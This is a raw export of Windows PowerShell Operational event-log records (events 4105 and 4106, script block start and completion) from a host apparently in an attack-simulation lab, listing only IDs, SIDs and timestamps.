OpCode=On create calls
RecordNumber=2041486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041477
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041471
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041449
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041447
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041446
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
